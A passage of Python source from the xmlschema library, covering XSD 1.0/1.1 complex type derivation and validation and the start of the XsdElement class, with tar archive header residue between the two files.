self.parse_error(msg % base_type.mixed, elem) self.content = content elif base_type.is_simple(): self.content = base_type elif base_type.has_simple_content(): self.content = base_type.content else: # Derived type has an empty content if self.mixed is not base_type.mixed: if self.mixed: msg = _("extended type has a mixed content but the base is element-only") self.parse_error(msg, elem) self.mixed = base_type.mixed # not an error if mixed='false' self.content = self.builders.create_empty_content_group(self) self.content.append(base_type.content) self.content.elem.append(base_type.content.elem) self._parse_content_tail(elem, derivation='extension', base_attributes=base_type.attributes) @property def default_open_content(self) -> Optional[XsdDefaultOpenContent]: return None @property def block(self) -> str: return self.schema.block_default if self._block is None else self._block @property def simple_type(self) -> Optional[XsdSimpleType]: return self.content if isinstance(self.content, XsdSimpleType) else None @property def model_group(self) -> Optional[XsdGroup]: return self.content if isinstance(self.content, XsdGroup) else None @property def content_type_label(self) -> str: if self.is_empty(): return 'empty' elif isinstance(self.content, XsdSimpleType): return 'simple' elif self.mixed: return 'mixed' else: return 'element-only' @cached_property def root_type(self) -> BaseXsdType: if self.attributes or self.base_type is None: return cast('XsdComplexType', self.maps.types[XSD_ANY_TYPE]) else: return self.base_type.root_type @cached_property def sequence_type(self) -> str: if self.is_empty(): return 'empty-sequence()' elif isinstance(self.content, XsdAtomic): name = self.content.primitive_type.local_name st = 'item()' if name is None else f'xs:{name}' else: st = 'xs:untypedAtomic' return f"{st}{'*' if self.is_emptiable() else '+'}" @staticmethod def is_simple() -> bool: return False @staticmethod def is_complex() -> bool: return True def is_empty(self) -> bool: if self.open_content and self.open_content.mode != 'none': return False return self.content.is_empty() def is_emptiable(self) -> bool: return self.content.is_emptiable() def has_simple_content(self) -> bool: if not isinstance(self.content, XsdGroup): return not self.content.is_empty() elif self.content or self.content.mixed or self.base_type is None: return False else: return self.base_type.is_simple() or self.base_type.has_simple_content() def has_complex_content(self) -> bool: if not isinstance(self.content, XsdGroup): return False elif self.open_content and self.open_content.mode != 'none': return True return not self.content.is_empty() def has_mixed_content(self) -> bool: if not isinstance(self.content, XsdGroup): return False elif self.content.is_empty(): return False else: return self.content.mixed def is_element_only(self) -> bool: if not isinstance(self.content, XsdGroup): return False elif self.content.is_empty(): return False else: return not self.content.mixed def is_list(self) -> bool: return isinstance(self.content, XsdSimpleType) and self.content.is_list() def is_dynamic_consistent(self, other: Any) -> bool: return other.name == XSD_ANY_TYPE or self.is_derived(other) or \ isinstance(other, XsdUnion) and any(self.is_derived(mt) for mt in other.member_types) def validate(self, obj: Union[ElementType, str, bytes], use_defaults: bool = True, namespaces: Optional[NsmapType] = None, max_depth: Optional[int] = None, extra_validator: Optional[ExtraValidatorType] = None, validation_hook: Optional[ValidationHookType] = None) -> None: kwargs: Any = { 'use_defaults': use_defaults, 'namespaces': namespaces, 'max_depth': max_depth, 'extra_validator': extra_validator, 'validation_hook': validation_hook, } if not isinstance(obj, (str, bytes)): super().validate(obj, **kwargs) elif isinstance(self.content, XsdSimpleType): self.content.validate(obj, **kwargs) elif not self.mixed and self.base_type is not None: self.base_type.validate(obj, **kwargs) def is_valid(self, obj: Union[ElementType, str, bytes], use_defaults: bool = True, namespaces: Optional[NsmapType] = None, max_depth: Optional[int] = None, extra_validator: Optional[ExtraValidatorType] = None, validation_hook: Optional[ValidationHookType] = None) -> bool: kwargs: Any = { 'use_defaults': use_defaults, 'namespaces': namespaces, 'max_depth': max_depth, 'extra_validator': extra_validator, 'validation_hook': validation_hook, } if not isinstance(obj, (str, bytes)): return super().is_valid(obj, **kwargs) elif isinstance(self.content, XsdSimpleType): return self.content.is_valid(obj, **kwargs) else: return self.mixed or self.base_type is not None and \ self.base_type.is_valid(obj, **kwargs) def is_derived(self, other: BaseXsdType, derivation: Optional[str] = None) -> bool: if derivation and derivation == self.derivation: derivation = None # derivation mode checked if other.ref is not None: other = other.ref if self is other or self.ref is other: return True elif other.name == XSD_ANY_TYPE: return derivation != 'extension' elif self.base_type is other: return derivation is None elif isinstance(other, XsdUnion): return any(self.is_derived(m, derivation) for m in other.member_types) elif self.base_type is None: if not self.has_simple_content(): return False return isinstance(self.content, XsdSimpleType) and \ self.content.is_derived(other, derivation) elif self.has_simple_content(): return isinstance(self.content, XsdSimpleType) and \ self.content.is_derived(other, derivation) or \ self.base_type.is_derived(other, derivation) else: return self.base_type.is_derived(other, derivation) def iter_components(self, xsd_classes: ComponentClassType = None) \ -> Iterator[XsdComponent]: if xsd_classes is None or isinstance(self, xsd_classes): yield self if self.attributes and self.attributes.parent is not None: yield from self.attributes.iter_components(xsd_classes) if self.content.parent is not None: yield from self.content.iter_components(xsd_classes) if self.base_type is not None and self.base_type.parent is not None: yield from self.base_type.iter_components(xsd_classes) for obj in filter(lambda x: x.base_type is self, self.assertions): if xsd_classes is None or isinstance(obj, xsd_classes): yield obj def get_facet(self, tag: str) -> Optional[FacetsValueType]: if isinstance(self.content, XsdSimpleType): return self.content.get_facet(tag) return None def admit_simple_restriction(self) -> bool: if 'restriction' in self.final: return False else: return self.has_simple_content() or self.mixed and self.is_emptiable() def has_restriction(self) -> bool: return self.derivation == 'restriction' def has_extension(self) -> bool: return self.derivation == 'extension' def text_decode(self, text: str, validation: str = 'skip', context: Optional[DecodeContext] = None) -> DecodedValueType: if isinstance(self.content, XsdSimpleType): return self.content.text_decode(text, validation, context) else: return text def text_is_valid(self, text: str, context: Optional[DecodeContext] = None) -> bool: if isinstance(self.content, XsdSimpleType): return self.content.text_is_valid(text, context) elif self.mixed or not text.strip(): return True else: return len(self.content) == 1 and isinstance(self.content[0], XsdAnyElement) def decode(self, obj: Union[ElementType, str, bytes], *args: Any, **kwargs: Any) \ -> DecodeType[Any]: if not isinstance(obj, (str, bytes)): return super().decode(obj, *args, **kwargs) elif isinstance(self.content, XsdSimpleType): return self.content.decode(obj, *args, **kwargs) else: msg = _("cannot decode %(obj)r data with %(decoder)r") raise XMLSchemaDecodeError( self, obj, str, msg % {'obj': obj, 'decoder': self} ) def raw_decode(self, obj: Union[ElementType, str, bytes], validation: str, context: DecodeContext) -> Any: """ Decodes an Element instance using a dummy XSD element. Typically used for decoding with xs:anyType when an XSD element is not available. Also decodes strings if the type has a simple content. :param obj: the XML data that has to be decoded. :param validation: the validation mode. Can be 'lax', 'strict' or 'skip. :param context: the decoding context. :return: a decoded object. """ if not isinstance(obj, (str, bytes)): xsd_element = self.builders.create_element( obj.tag, self.schema, self, form='unqualified' ) xsd_element.type = self return xsd_element.raw_decode(obj, validation, context) elif isinstance(self.content, XsdSimpleType): return self.content.raw_decode(obj, validation, context) else: msg = _("cannot decode %(obj)r data with %(decoder)r") raise XMLSchemaDecodeError( self, obj, str, msg % {'obj': obj, 'decoder': self} ) def raw_encode(self, obj: Any, validation: str, context: EncodeContext) \ -> Optional[ElementType]: """ Encode XML data. A dummy element is created for the type, and it's used for encode data. Typically used for encoding with xs:anyType when an XSD element is not available. :param obj: decoded XML data. :param validation: the validation mode. Can be 'lax', 'strict' or 'skip. :param context: the encoding context. :return: returns an Element. """ try: name, value = obj except ValueError: name = obj.name value = obj xsd_type: BaseXsdType if isinstance(value, AnyAtomicType): xsd_type = self.any_atomic_type else: xsd_type = self.any_type xsd_element = self.builders.create_element( name, self.schema, xsd_type, form='unqualified' ) xsd_element.type = xsd_type return xsd_element.raw_encode(value, validation, context) class Xsd11ComplexType(XsdComplexType): """ Class for XSD 1.1 *complexType* definitions. .. <complexType abstract = boolean : false block = (#all | List of (extension | restriction)) final = (#all | List of (extension | restriction)) id = ID mixed = boolean name = NCName defaultAttributesApply = boolean : true {any attributes with non-schema namespace . . .}> Content: (annotation?, (simpleContent | complexContent | (openContent?, (group | all | choice | sequence)?, ((attribute | attributeGroup)*, anyAttribute?), assert*))) </complexType> """ default_attributes_apply = True _CONTENT_TAIL_TAGS = {XSD_ATTRIBUTE_GROUP, XSD_ATTRIBUTE, XSD_ANY_ATTRIBUTE, XSD_ASSERT} @property def default_attributes(self) -> Optional[XsdAttributeGroup]: if self.redefine is not None: default_attributes = self.schema.default_attributes else: for child in self.schema.root: if child.tag == XSD_OVERRIDE and self.elem in child: schema = self.schema.includes[child.attrib['schemaLocation']] if schema.override is self.schema: default_attributes = schema.default_attributes break else: default_attributes = self.schema.default_attributes if isinstance(default_attributes, str): return None return default_attributes @property def default_open_content(self) -> Optional[XsdDefaultOpenContent]: if self.parent is not None: return self.schema.default_open_content for child in self.schema.root: if child.tag == XSD_OVERRIDE and self.elem in child: schema = self.schema.includes[child.attrib['schemaLocation']] if schema.override is self.schema: return schema.default_open_content else: return self.schema.default_open_content def _parse(self) -> None: super()._parse() if self.base_type and self.base_type.base_type is self.any_simple_type and \ self.base_type.derivation == 'extension' and not self.attributes: # Derivation from xs:anySimpleType with missing variety. # See: http://www.w3.org/TR/xmlschema11-1/#Simple_Type_Definition_details msg = _("the simple content of {!r} is not a valid simple type in XSD 1.1") self.parse_error(msg.format(self.base_type)) # Add open content to a complex content type if isinstance(self.content, XsdGroup): if self.open_content is None: if self.content.open_content is not None: msg = _("openContent mismatch between type and model group") self.parse_error(msg) elif self.open_content: self.content.open_content = self.open_content # Add inheritable attributes if isinstance(self.base_type, XsdComplexType): for name, attr in self.base_type.attributes.items(): if attr.inheritable: if name not in self.attributes: self.attributes[name] = attr elif not self.attributes[name].inheritable: msg = _("attribute %r must be inheritable") self.parse_error(msg % name) if 'defaultAttributesApply' not in self.elem.attrib: self.default_attributes_apply = True elif self.elem.attrib['defaultAttributesApply'].strip() in ('false', '0'): self.default_attributes_apply = False else: self.default_attributes_apply = True # Add default attributes if self.default_attributes_apply and \ isinstance(self.default_attributes, XsdAttributeGroup): if self.redefine is None: for k in self.default_attributes: if k in self.attributes: msg = _("default attribute {!r} is already " "declared in the complex type") self.parse_error(msg.format(k)) self.attributes.update((k, v) for k, v in self.default_attributes.items()) def _parse_complex_content_extension(self, elem: ElementType, base_type: Any) -> None: # Complex content extension with simple base is forbidden XSD 1.1. # For the detailed rule refer to XSD 1.1 documentation: # https://www.w3.org/TR/2012/REC-xmlschema11-1-20120405/#sec-cos-ct-extends if base_type.is_simple() or base_type.has_simple_content(): msg = _("base %r is simple or has a simple content") self.parse_error(msg % base_type, elem) base_type = self.any_type if 'extension' in base_type.final: msg = _("the base type is not derivable by extension") self.parse_error(msg) # Parse openContent group_elem: Any for group_elem in elem: if group_elem.tag == XSD_ANNOTATION or callable(group_elem.tag): continue elif group_elem.tag != XSD_OPEN_CONTENT: break self.open_content = XsdOpenContent(group_elem, self.schema, self) try: any_element = base_type.open_content.any_element self.open_content.any_element.union(any_element) except AttributeError: pass else: group_elem = None if not base_type.content: if not base_type.mixed: # Empty element-only model extension: don't create a nested sequence group. if group_elem is not None and group_elem.tag in XSD_MODEL_GROUP_TAGS: self.content = self.builders.group_class( group_elem, self.schema, self ) else: max_occurs = base_type.content.max_occurs self.content = self.builders.create_empty_content_group( parent=self, model=base_type.content.model, minOccurs=str(base_type.content.min_occurs), maxOccurs='unbounded' if max_occurs is None else str(max_occurs), ) else: # Empty mixed model extension self.content = self.builders.create_empty_content_group(self) self.content.append(self.builders.create_empty_content_group(self.content)) if group_elem is not None and group_elem.tag in XSD_MODEL_GROUP_TAGS: group = self.builders.group_class( group_elem, self.schema, self.content ) if not self.mixed: msg = _("base has a different content type (mixed=%r) " "and the extension group is not empty.") self.parse_error(msg % base_type.mixed, elem) if group.model == 'all': msg = _("cannot extend an empty mixed content with an xs:all") self.parse_error(msg) else: group = self.builders.create_empty_content_group(self) self.content.append(group) self.content.elem.append(base_type.content.elem) self.content.elem.append(group.elem) elif group_elem is not None and group_elem.tag in XSD_MODEL_GROUP_TAGS: group = self.builders.group_class(group_elem, self.schema, self) if base_type.content.model != 'all': content = self.builders.create_empty_content_group(self) content.append(base_type.content) content.elem.append(base_type.content.elem) if group.model == 'all': msg = _("xs:all cannot extend a not empty xs:%s") self.parse_error(msg % base_type.content.model) else: content.append(group) content.elem.append(group.elem) else: content = self.builders.create_empty_content_group( self, model='all', minOccurs=str(base_type.content.min_occurs) ) content.extend(base_type.content) content.elem.extend(base_type.content.elem) if not group: pass elif group.model != 'all': msg = _("cannot extend a not empty 'all' model group with a different model") self.parse_error(msg) elif base_type.content.min_occurs != group.min_occurs: msg = _("when extend an xs:all group minOccurs must be the same") self.parse_error(msg) elif base_type.mixed and not base_type.content: msg = _("cannot extend an xs:all group with mixed empty content") self.parse_error(msg) else: content.extend(group) content.elem.extend(group.elem) if base_type.mixed is not self.mixed: msg = _("base has a different content type (mixed=%r) " "and the extension group is not empty.") self.parse_error(msg % base_type.mixed, elem) self.content = content elif base_type.is_simple(): self.content = base_type elif base_type.has_simple_content(): self.content = base_type.content else: # Derived type has an empty content if self.mixed is not base_type.mixed: if self.mixed: msg = _("extended type has a mixed content but the base is element-only") self.parse_error(msg, elem) self.mixed = base_type.mixed # not an error if mixed='false' self.content = self.builders.create_empty_content_group(self) self.content.append(base_type.content) self.content.elem.append(base_type.content.elem) if self.open_content is None: default_open_content = self.default_open_content if default_open_content is not None and \ (self.mixed or self.content or default_open_content.applies_to_empty): self.open_content = default_open_content elif base_type.open_content is not None: self.open_content = base_type.open_content if base_type.open_content is not None and \ self.open_content is not None and \ self.open_content is not base_type.open_content: if self.open_content.mode == 'none': self.open_content = base_type.open_content elif not base_type.open_content.is_restriction(self.open_content): msg = _("{0!r} is not an extension of the base type {1!r}") self.parse_error(msg.format(self.open_content, base_type.open_content)) self._parse_content_tail(elem, derivation='extension', base_attributes=base_type.attributes) def _parse_content_tail(self, elem: ElementType, **kwargs: Any) -> None: self.attributes = self.builders.attribute_group_class( elem, self.schema, self, **kwargs ) self.assertions = [XsdAssert(e, self.schema, self, self) for e in elem if e.tag == XSD_ASSERT] if isinstance(self.base_type, XsdComplexType): self.assertions.extend( XsdAssert(assertion.elem, self.schema, self, self) for assertion in self.base_type.assertions ) ���������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/elements.py����������������������������������������������������0000664�0000000�0000000�00000202102�15020401055�0022001�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """ This module contains classes for XML Schema elements, complex types and model groups. """ import warnings from copy import copy as _copy from decimal import Decimal from types import GeneratorType from collections.abc import Iterator from typing import TYPE_CHECKING, cast, Any, Optional, Type, Union from xml.etree.ElementTree import Element, ParseError from elementpath import XPath2Parser, ElementPathError, XPathContext, XPathToken, \ LazyElementNode, SchemaElementNode, build_schema_node_tree from elementpath.datatypes import AbstractDateTime, Duration from elementpath.xpath_nodes import EtreeElementNode from xmlschema.exceptions import XMLSchemaTypeError, XMLSchemaValueError, \ XMLResourceParseError from xmlschema.names import XSD_COMPLEX_TYPE, XSD_SIMPLE_TYPE, XSD_ALTERNATIVE, \ XSD_ELEMENT, XSD_ANY_TYPE, XSI_NIL, XSI_TYPE, XSD_ERROR, XSD_NOTATION_TYPE, \ XSD_ANNOTATION from xmlschema.aliases import ElementType, BaseXsdType, SchemaElementType, \ ModelParticleType, ComponentClassType, DecodeType, DecodedValueType from xmlschema.translation import gettext as _ from xmlschema.utils.etree import etree_iter_location_hints, etree_iter_namespaces from xmlschema.utils.decoding import Empty, raw_encode_attributes, strictly_equal from xmlschema.utils.qnames import get_qname from xmlschema import dataobjects from xmlschema.converters import ElementData, XMLSchemaConverter from xmlschema.xpath import XMLSchemaProxy, ElementPathMixin, XPathElement from .exceptions import XMLSchemaValidationError, XMLSchemaParseError, \ XMLSchemaStopValidation, XMLSchemaTypeTableWarning from .validation import XSD_VALIDATION_MODES, DecodeContext, \ EncodeContext, ValidationMixin from .helpers import get_xsd_derivation_attribute from .xsdbase import XSD_TYPE_DERIVATIONS, XSD_ELEMENT_DERIVATIONS, XsdComponent from .particles import ParticleMixin, OccursCalculator from .identities import XsdIdentity, XsdKeyref, KeyrefCounter, FieldValueSelector from .simple_types import XsdSimpleType from .attributes import XsdAttribute from .wildcards import XsdAnyElement if TYPE_CHECKING: from .attributes import XsdAttributeGroup from .groups import XsdGroup DataBindingType = Type['dataobjects.DataElement'] class XsdElement(XsdComponent, ParticleMixin, ElementPathMixin[SchemaElementType], ValidationMixin[ElementType, Any]): """ Class for XSD 1.0 *element* declarations. .. <element abstract = boolean : false block = (#all | List of (extension | restriction | substitution)) default = string final = (#all | List of (extension | restriction)) fixed = string form = (qualified | unqualified) id = ID maxOccurs = (nonNegativeInteger | unbounded) : 1 minOccurs = nonNegativeInteger : 1 name = NCName nillable = boolean : false ref = QName substitutionGroup = QName type = QName {any attributes with non-schema namespace . . .}> Content: (annotation?, ((simpleType | complexType)?, (unique | key | keyref)*)) </element> """ name: str local_name: str qualified_name: str prefixed_name: str parent: Optional['XsdGroup'] ref: Optional['XsdElement'] type: BaseXsdType """The XSD simpleType or complexType of the element.""" attributes: 'XsdAttributeGroup' """The group of the attributes associated with the element.""" content: Union[tuple[()], 'XsdGroup'] abstract: bool = False """ Defines whether the element can be used in an instance document. An abstract element must be global and can still be the head of a substitution group. """ nillable: bool = False """ Defines whether the element content is nillable using xsi:nil="true" as attribute. """ form: Optional[str] = None qualified: bool = False """ The effective form for the element. If `True` the element name is qualified by a braced namespace URI as prefix. The name of a global element is always qualified. """ default: Optional[str] = None """The default value of the element if its content is a simple type.""" fixed: Optional[str] = None """The fixed value of the element if its content is a simple type.""" substitution_group: Optional[str] = None identities: list[XsdIdentity] selected_by: set[XsdIdentity] xsi_types: set[BaseXsdType] alternatives: Union[tuple[()], list['XsdAlternative']] = () inheritable: Union[tuple[()], dict[str, XsdAttribute]] = () _ADMITTED_TAGS = XSD_ELEMENT, _block: Optional[str] = None _final: Optional[str] = None binding: Optional[DataBindingType] = None __slots__ = ('type', 'selected_by', 'xsi_types', 'identities', 'content', 'attributes', 'min_occurs', 'max_occurs') def __repr__(self) -> str: return '%s(%s=%r, occurs=%r)' % ( self.__class__.__name__, 'name' if self.ref is None else 'ref', self.prefixed_name, list(self.occurs) ) def _set_type(self, value: BaseXsdType) -> None: self.type = value if isinstance(value, XsdSimpleType): self.attributes = self.builders.create_empty_attribute_group(self) self.content = () else: self.attributes = value.attributes if isinstance(value.content, XsdSimpleType): self.content = () else: self.content = value.content def __iter__(self) -> Iterator[SchemaElementType]: if self.content: yield from self.content.iter_elements() def build(self) -> None: if not self._built: self._built = True self._parse() def _parse(self) -> None: if not hasattr(self.parent, '_group'): self._built = True elif not self._built: return self.min_occurs = self.max_occurs = 1 self.selected_by = set() self.xsi_types = set() self._parse_particle(self.elem) self._parse_attributes() if self.ref is None: self._parse_type() self._parse_constraints() if self.parent is None and 'substitutionGroup' in self.elem.attrib: self._parse_substitution_group(self.elem.attrib['substitutionGroup']) self._built = True def _parse_attributes(self) -> None: attrib = self.elem.attrib if self._parse_reference(): try: xsd_element: XsdElement = self.maps.elements[self.name] except KeyError: self._set_type(self.any_type) self.parse_error(_('unknown element %r') % self.name) else: self.ref = xsd_element self._set_type(xsd_element.type) self.target_namespace = xsd_element.target_namespace self.abstract = xsd_element.abstract self.nillable = xsd_element.nillable self.qualified = xsd_element.qualified self.form = xsd_element.form self.default = xsd_element.default self.fixed = xsd_element.fixed self.substitution_group = xsd_element.substitution_group self.identities = xsd_element.identities self.alternatives = xsd_element.alternatives self.selected_by = xsd_element.selected_by self.xsi_types = xsd_element.xsi_types for attr_name in ('type', 'nillable', 'default', 'fixed', 'form', 'block', 'abstract', 'final', 'substitutionGroup'): if attr_name in attrib: msg = _("attribute {!r} is not allowed when element reference is used") self.parse_error(msg.format(attr_name)) return if 'form' in attrib: self.form = attrib['form'] if self.form == 'qualified': self.qualified = True elif self.schema.element_form_default == 'qualified': self.qualified = True try: if self.parent is None or self.qualified: self.name = get_qname(self.target_namespace, attrib['name']) else: self.name = attrib['name'] except KeyError: pass if 'abstract' in attrib: if self.parent is not None: msg = _("local scope elements cannot have abstract attribute") self.parse_error(msg) if attrib['abstract'].strip() in ('true', '1'): self.abstract = True if 'block' in attrib: try: self._block = get_xsd_derivation_attribute( self.elem, 'block', XSD_ELEMENT_DERIVATIONS ) except ValueError as err: self.parse_error(err) if 'nillable' in attrib and attrib['nillable'].strip() in ('true', '1'): self.nillable = True if self.parent is None: if 'final' in attrib: try: self._final = get_xsd_derivation_attribute( self.elem, 'final', XSD_TYPE_DERIVATIONS ) except ValueError as err: self.parse_error(err) for attr_name in ('ref', 'form', 'minOccurs', 'maxOccurs'): if attr_name in attrib: msg = _("attribute {!r} is not allowed in a global element declaration") self.parse_error(msg.format(attr_name)) else: for attr_name in ('final', 'substitutionGroup'): if attr_name in attrib: msg = _("attribute {!r} not allowed in a local element declaration") self.parse_error(msg.format(attr_name)) def _parse_type(self) -> None: type_name = self.elem.get('type') if type_name is not None: try: extended_name = self.schema.resolve_qname(type_name) except (KeyError, ValueError, RuntimeError) as err: self.parse_error(err) self._set_type(self.any_type) else: if extended_name == XSD_ANY_TYPE: self._set_type(self.any_type) else: try: self._set_type(self.maps.types[extended_name]) except KeyError: self.parse_error(_('unknown type {!r}').format(type_name)) self._set_type(self.any_type) finally: child = self._parse_child_component(self.elem, strict=False) if child is not None and child.tag in (XSD_COMPLEX_TYPE, XSD_SIMPLE_TYPE): msg = _("the attribute 'type' and a xs:{} local " "declaration are mutually exclusive") self.parse_error(msg.format(child.tag.split('}')[-1])) elif (child := self._parse_child_component(self.elem, strict=False)) is None: self._set_type(self.any_type) else: try: self._set_type( self.builders.local_types[child.tag](child, self.schema, self) ) except KeyError: self._set_type(self.any_type) def _parse_constraints(self) -> None: # Value constraints if 'default' in self.elem.attrib: self.default = self.elem.attrib['default'] if 'fixed' in self.elem.attrib: msg = _("'default' and 'fixed' attributes are mutually exclusive") self.parse_error(msg) if not self.type.text_is_valid(self.default): msg = _("'default' value {!r} is not compatible with element's type") self.parse_error(msg.format(self.default)) self.default = None elif self.xsd_version == '1.0' and self.type.is_key(): msg = _("xs:ID or a type derived from xs:ID cannot have a default value") self.parse_error(msg) elif 'fixed' in self.elem.attrib: self.fixed = self.elem.attrib['fixed'] if not self.type.text_is_valid(self.fixed): msg = _("'fixed' value {!r} is not compatible with element's type") self.parse_error(msg.format(self.fixed)) self.fixed = None elif self.xsd_version == '1.0' and self.type.is_key(): msg = _("xs:ID or a type derived from xs:ID cannot have a fixed value") self.parse_error(msg) # Identity constraints self.identities = [] for child in self.elem: if child.tag in (XSD_COMPLEX_TYPE, XSD_SIMPLE_TYPE, XSD_ANNOTATION): continue try: identity = self.builders.identities[child.tag](child, self.schema, self) except KeyError: # Invalid tags already caught by validation against the meta-schema continue if identity.ref: if any(identity.name == x.name for x in self.identities): msg = _("duplicated identity constraint %r:") self.parse_error(msg % identity.name, child) self.identities.append(identity) continue try: if child != self.maps.identities[identity.name].elem: msg = _("duplicated identity constraint %r:") self.parse_error(msg % identity.name, child) except KeyError: self.maps.identities[identity.name] = identity finally: self.identities.append(identity) def _parse_substitution_group(self, substitution_group: str) -> None: try: substitution_group_qname = self.schema.resolve_qname(substitution_group) except (KeyError, ValueError, RuntimeError) as err: self.parse_error(err) return else: if substitution_group_qname[0] != '{': substitution_group_qname = get_qname( self.target_namespace, substitution_group_qname ) try: head_element = self.maps.elements[substitution_group_qname] except KeyError: msg = _("unknown substitutionGroup %r") self.parse_error(msg % substitution_group) return else: if isinstance(head_element, tuple): msg = _("circularity found for substitutionGroup %r") self.parse_error(msg % substitution_group) return elif 'substitution' in head_element.block: return final = head_element.final if self.type.name == XSD_ANY_TYPE and 'type' not in self.elem.attrib: if head_element.type.name != XSD_ANY_TYPE: # Set the type with head element's type for validate content # ref: https://www.w3.org/TR/xmlschema-1/#cElement_Declarations self.type = head_element.type elif not self.type.is_derived(head_element.type): msg = _("{0!r} type is not of the same or a derivation " "of the head element {1!r} type") self.parse_error(msg.format(self, head_element)) elif final == '#all' or 'extension' in final and 'restriction' in final: msg = _("head element %r can't be substituted by an " "element that has a derivation of its type") self.parse_error(msg % head_element) elif 'extension' in final and self.type.is_derived(head_element.type, 'extension'): msg = _("head element %r can't be substituted by an " "element that has an extension of its type") self.parse_error(msg % head_element) elif 'restriction' in final and self.type.is_derived(head_element.type, 'restriction'): msg = _("head element %r can't be substituted by an " "element that has a restriction of its type") self.parse_error(msg % head_element) try: self.maps.substitution_groups[substitution_group_qname].add(self) except KeyError: self.maps.substitution_groups[substitution_group_qname] = {self} finally: self.substitution_group = substitution_group_qname @property def xpath_proxy(self) -> XMLSchemaProxy: return XMLSchemaProxy(self.schema, self) # noinspection PyTypeChecker @property def xpath_node(self) -> SchemaElementNode: schema_node = self.schema.xpath_node node = schema_node.get_element_node(self) if isinstance(node, SchemaElementNode): return node return build_schema_node_tree( root=self, elements=schema_node.elements, global_elements=schema_node.children, ) @property def scope(self) -> str: """The scope of the element declaration that can be 'global' or 'local'.""" return 'global' if self.parent is None else 'local' @property def value_constraint(self) -> Optional[str]: """The fixed or the default value if either is defined, `None` otherwise.""" return self.fixed if self.fixed is not None else self.default @property def final(self) -> str: """ The effective value for prevent the usage of derived elements. Can be empty, '#all' or containing a subset of words (extension|restrictions) separated by a space. """ if self.ref is not None: return self.ref.final elif self._final is not None: return self._final return self.schema.final_default @property def block(self) -> str: """ The effective value for blocking the derivation of the element. Can be empty, '#all' or containing a subset of words (extension|restrictions|substitution) separated by a space. """ if self.ref is not None: return self.ref.block elif self._block is not None: return self._block return self.schema.block_default def overall_min_occurs(self, particle: ModelParticleType) -> int: """ Returns the overall minimum for occurrences of a content model particle. The content type of the element must be 'element-only' or 'mixed'. """ return self.type.overall_min_occurs(particle) def overall_max_occurs(self, particle: ModelParticleType) -> Optional[int]: """ Returns the overall maximum for occurrences of a content model particle. The content type of the element must be 'element-only' or 'mixed'. """ return self.type.overall_max_occurs(particle) def get_binding(self, *bases: Type[Any], replace_existing: bool = False, **attrs: Any) \ -> DataBindingType: """ Gets data object binding for XSD element, creating a new one if it doesn't exist. :param bases: base classes to use for creating the binding class. :param replace_existing: provide `True` to replace an existing binding class. :param attrs: attribute and method definitions for the binding class body. """ if self.binding is None or replace_existing: if not bases: bases = (dataobjects.DataElement,) attrs['xsd_element'] = self class_name = '{}Binding'.format(self.local_name.title().replace('_', '')) self.binding = cast(DataBindingType, dataobjects.DataBindingMeta(class_name, bases, attrs)) return self.binding def get_type(self, elem: Union[ElementType, ElementData], inherited: Optional[dict[str, Any]] = None) -> BaseXsdType: return self.type def get_attributes(self, xsd_type: BaseXsdType) -> 'XsdAttributeGroup': if not isinstance(xsd_type, XsdSimpleType): return xsd_type.attributes elif xsd_type is self.type: return self.attributes else: return self.builders.create_empty_attribute_group(self) def get_path(self, ancestor: Optional[XsdComponent] = None, reverse: bool = False) -> Optional[str]: """ Returns the XPath expression of the element. The path is relative to the schema instance in which the element is contained or is relative to a specific ancestor passed as argument. In the latter case returns `None` if the argument is not an ancestor. :param ancestor: optional XSD component of the same schema, that maybe \ an ancestor of the element. :param reverse: if set to `True` returns the reverse path, from the element to ancestor. """ path: list[str] = [] xsd_component: Optional[XsdComponent] = self while xsd_component is not None: if xsd_component is ancestor: return '/'.join(reversed(path)) or '.' elif isinstance(xsd_component, XsdElement): path.append('..' if reverse else xsd_component.name) xsd_component = xsd_component.parent else: if ancestor is None: return '/'.join(reversed(path)) or '.' return None def iter_components(self, xsd_classes: Optional[ComponentClassType] = None) \ -> Iterator[XsdComponent]: if xsd_classes is None: yield self yield from self.identities else: if isinstance(self, xsd_classes): yield self if issubclass(XsdIdentity, xsd_classes): yield from self.identities if self.ref is None and self.type.parent is not None: yield from self.type.iter_components(xsd_classes) def iter_substitutes(self) -> Iterator['XsdElement']: if self.parent is None or self.ref is not None: if substitutes := self.maps.substitution_groups.get(self.name): for xsd_element in substitutes: if not xsd_element.abstract: yield xsd_element for e in xsd_element.iter_substitutes(): if not e.abstract: yield e def data_value(self, elem: ElementType) -> DecodedValueType: """Returns the decoded data value of the provided element as XPath fn:data().""" text = elem.text if text is None: text = self.fixed if self.fixed is not None else self.default if text is None: return '' if self.type.text_is_valid('') else None return self.type.text_decode(text) def check_dynamic_context(self, elem: ElementType, validation: str, context: DecodeContext) -> None: for ns, url in etree_iter_location_hints(elem): if self.maps.get_schema(ns, url, context.source.base_url) is not None: continue if ns in etree_iter_namespaces(context.source.root, elem): reason = _("schemaLocation declaration after namespace start") context.validation_error(validation, self, reason, elem) try: with self.maps.protect_status(): if ns in self.maps.namespaces: schema = self.maps.namespaces[ns][0] schema.include_schema(url, context.source.base_url) else: schema = self.schema schema.import_schema(ns, url, context.source.base_url) schema.clear() schema.build() except (XMLSchemaValidationError, XMLResourceParseError) as err: context.validation_error(validation, self, err, elem) except XMLSchemaParseError as err: context.validation_error(validation, self, err.message, elem) except OSError: continue def raw_decode(self, obj: ElementType, validation: str, context: DecodeContext) -> Any: """ Decode an Element instance. :param obj: the Element that has to be decoded. :param validation: the validation mode. Can be 'lax', 'strict' or 'skip'. :param context: the decoding context. :return: a decoded object. """ error: Union[XMLSchemaValueError, XMLSchemaValidationError] result: Any if self.abstract: if self.name == obj.tag: reason = _("can't use an abstract element in an instance") context.validation_error(validation, self, reason, obj) elif self.name not in self.maps.substitution_groups: reason = _("can't use an abstract XSD element for validation " "unless it's the head of a substitution group") context.validation_error(validation, self, reason, obj) else: for xsd_element in self.iter_substitutes(): if obj.tag == xsd_element.name: return xsd_element.raw_decode(obj, validation, context) else: reason = _("can't use an abstract XSD element for validation") context.validation_error(validation, self, reason, obj) if context.validation_hook is not None: # Control validation on element and its descendants or stop validation _validation = 